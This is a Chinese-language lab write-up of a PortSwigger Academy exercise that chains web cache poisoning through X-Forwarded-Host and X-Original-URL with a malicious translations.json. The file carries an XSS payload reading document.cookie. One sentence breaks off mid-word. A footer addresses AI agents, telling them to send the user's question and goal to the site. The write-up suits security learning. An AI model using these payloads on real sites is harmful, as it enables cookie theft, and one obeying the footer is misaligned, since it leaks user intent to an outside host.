> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/combination-of-web-cache-poisoning-vulnerabilities.md).

# Web 缓存投毒漏洞组合

Web 缓存投毒漏洞组合，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

### 组合 Web 缓存投毒漏洞

我们必须 **毒化主页的缓存** 使其运行 **`alert(document.cookie)`** 在访问者的浏览器中。受害者会传递 `/` about **每分钟** 和 **受害者的语言是英语（`lang=en` cookie）**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b464b34964f9de54a5ae15f2542d2aec341051ae%2F%7B0F619775-E191-4BEB-8BFF-7B48089C287E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### （1）入口点：客户端翻译功能

在主页上，我们观察到：

* 一个 `lang` cookie（例如， `lang=es`) + `session=...`
* 一个翻译脚本： **`/resources/js/translations.js`**

{% code overflow="wrap" %}

```http
Cookie: lang=es; session=3AJsSQlcvMWoyYAD7DAbxUISdsu1rIFg
```

{% endcode %}

```javascript
function initTranslations(jsonUrl)
{
    const lang = document.cookie.split(';')
        .map(c => c.trim().split('='))
        .filter(p => p[0] === 'lang')
        .map(p => p[1])
        .find(() => true);

    const translate = (dict, el) => {
        for (const k in dict) {
            if (el.innerHTML === k) {
                el.innerHTML = dict[k];
            } else {
                el.childNodes.forEach(el_ => translate(dict, el_));
            }
        }
    }

    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            const select = document.getElementById('lang-select');
            if (select) {
                for (const code in j) {
                    const name = j[code].name;
                    const el = document.createElement("option");
                    el.setAttribute("value", code);
                    el.innerText = name;
                    select.appendChild(el);
                    if (code === lang) {
                        select.selectedIndex = select.childElementCount - 1;
                    }
                }
            }

            lang in j && lang.toLowerCase() !== 'en' && j[lang].translations && translate(j[lang].translations, document.getElementsByClassName('maincontainer')[0]);
        });
}
```

该脚本读取 `lang` 来自 cookie，然后发起一个 `fetch()` 到一个 JSON：

```json
{
    "en": {
        "name": "英语"
    },
    "es": {
        "name": "西班牙语",
        "translations": {
            "返回列表": "返回列表",
            "查看详情": "查看详情",
            "描述:": "描述:",
        }
    },
    "cn": {
        "name": "中文",
        "translations": {
            "返回列表": "返回列表",
            "查看详情": "查看详情",
            "描述:": "描述:",
        }
    },
    "ar": {
        "name": "阿拉伯语",
        "translations": {
            "返回列表": "返回列表",
            "查看详情": "查看详情",
            "描述:": "描述:",
        }
    },
    "en-gb": {
        "name": "标准英语",
        "translations": {
            "返回列表": "从何处来",
            "查看详情": "请详细说明",
            "描述:": "关于该主题的高论：",
        }
    },
    "ml": {
        "name": "马拉雅拉姆语",
        "translations": {
            "返回列表": "返回列表",
            "查看详情": "查看详情",
            "描述:": "描述:",
        }
    },
    "hb": {
        "name": "希伯来语",
        "translations": {
            "返回列表": "返回列表",
            "查看详情": "查看详情",
            "描述:": "描述:",
        }
    },
    "zl": {
        "name": "扎尔戈",
        "translations": {
            "返回列表": "R̹̰̘͉̹̪ͅt̬̫̜ȕͩ͒ͥͥr̃̉͒n ̎͂t͎͖̽͋o͖̟͚͙̲͐ͤͫ̎̓ ̼̟͈̭͉͎̂ͯ̔ͤͤ̏͐ͅliͤ͑ͧ̆̐̈̀sṭ̠̮̰͍̙͒̔͆̈ͤ̅",
            "查看详情": "V̖̮͙ͅi͇e͙̦w̭̣̫͇̦̬̰ ̓͑̓ͯ̔d͍͂e͚̮͖͍͖̠͙ͮͭ̉ͦ̏͌̆t̙͎̺͉a̳̖͔̱͉̱͑̆̌̃͊ͬi̯͚͙̼̹̮l̖͎͛̈́͒ͅs̒̒ͤ̽̒̀",
            "描述:": "D̳͔e̝ͩ̐ͅsc̗̱̼̤̬̎̓ͪͣͭ̐ͅr̪̝͖̙̱̄̓͌̓̚ip̭̦̭̰̻ͣ̓̽ͨ̚ț̤̝̻i̹̱̟̞͕̓̓ͬ̓ͬ̆ͅon̠͚͕̈́̋̓:"
        }
    },
    "fn": {
        "name": "芬兰语",
        "translations": {
            "返回列表": "返回列表",
            "查看详情": "查看详情",
            "描述:": "描述:",
        }
    },
    "hw": {
        "name": "夏威夷语",
        "translations": {
            "返回列表": "返回列表",
            "查看详情": "查看详情",
            "描述:": "描述:",
        }
    },
    "mm": {
        "name": "缅甸语",
        "translations": {
            "返回列表": "返回列表",
            "查看详情": "查看详情",
            "描述:": "描述:",
        }
    }
}
```

以及 `data.host` 来自主页上的一个内联块：

```http
<script>
     data = {"host":"0acc008b046bd245809803b8002b0061.web-security-academy.net","path":"/"}
</script>
```

然后脚本通过替换文本来应用翻译，使用 `innerHTML`，这很重要，因为如果你控制了 JSON，它会把翻译变成 \*\*HTML 注入\*\*。

### 漏洞 #1：通过……进行主机操纵 `X-Forwarded-Host`

添加以下 HTTP 头

```http
X-Forwarded-Host: test.com
```

我们发现该值被反射到 `data.host`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3461b6b282bb32dc55439a59de59571e7de8e61a%2F%7B8738A7F4-EB84-4AE4-BD88-1764A553A590%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<script>
    initTranslations('//' + data.host + '/resources/json/translations.json');
</script>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0441f08693f4ec7dcae06a063a876c16e614082e%2F%7B107B9E1A-1046-4CDC-865C-95A76B09CAC8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

因此我们可以强制浏览器加载该文件：

```bash
/resources/json/translations.json
```

### 3. 漏洞 #2：通过 JSON 翻译文件实现 XSS

我们在利用服务器上托管一个伪造的 `translations.json` 其中包含一个翻译中的 XSS 注入，例如：

```json
{
    "en": {
        "name": "英语"
    },
    "es": {
        "name": "西班牙语",
        "translations": {
            "返回列表": "你好",
            "查看详情": "></a><img src=0 onerror=alert(document.cookie)>",
            "描述:": "描述:",
        }
    }
}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b8eb4e3ef454afe369d8180cee297aea878f63d%2F%7B445D19C6-63AA-4054-9F8A-8EF4502C0E23%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

然后我们使用：

```http
X-Forwarded-Host: exploit-0a19004104f2d29e80b40256011c00b0.exploit-server.net/
```

从缓存提供的主页现在将指向我们的恶意 JSON 文件。

因此，翻译内容会被解释为 HTML，从而允许执行注入的 JavaScript。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58ef1abeb35cab2786ccb22cc34f1256b694daba%2F%7B6925B92C-AD18-401B-AC72-DA0538F6357A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 4. 限制：受害者使用英语

翻译脚本仅在以下情况下执行：

* `lang !== 'en'`

受害者最初 `lang=en`。/ 即使我们控制了 JSON 文件，\*\*l

因此我们必须 **加强西班牙语部分**.

### 5. 漏洞 #3：通过……强制更改语言 `X-Original-URL`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87e13e9f0cc9f0b88feb65b876b9ce56405170c9%2F%7B21D57C8C-9241-4DB7-993C-5E7CE7818875%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

使用 Param Miner，我们识别出有漏洞的请求头：

```http
X-Original-Url: /test
```

我们向 `/` 发送另一个请求，带有：

* `X-Original-URL: /test` → `404 未找到`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c4fe24d508cbd70a67151840d4dae3e7f8d1419d%2F%7B6273E951-346B-4585-8BC2-6732D2C9A311%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

缓存会返回一个定义了 `lang=es` 供访问者使用。

```http
X-Original-Url: /setlang/es
```

`X-Original-URL: /setlang/es` → `302 Found`

这条路径：

* 设置 `lang=es` cookie
* 然后返回主页

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-542b4e10792ab641da580c2735db6d5fffb9d4c4%2F%7BB0586630-FB00-4ABE-A0A2-7465B2093BC5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 在受害者处执行有效载荷

1. 受害者访问 `/`
2. `lang` cookie 变成 `es`
3. 页面重新加载 `translations.json` 来自我们利用服务器的文件
4. 恶意翻译被注入到 DOM 中
5. 浏览器执行：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-256f8fbe3919c29629f4632bd9801fd23bd53d0c%2F%7B67B0120B-1D1F-4ACF-87A8-D889A63AEE0C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/combination-of-web-cache-poisoning-vulnerabilities.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
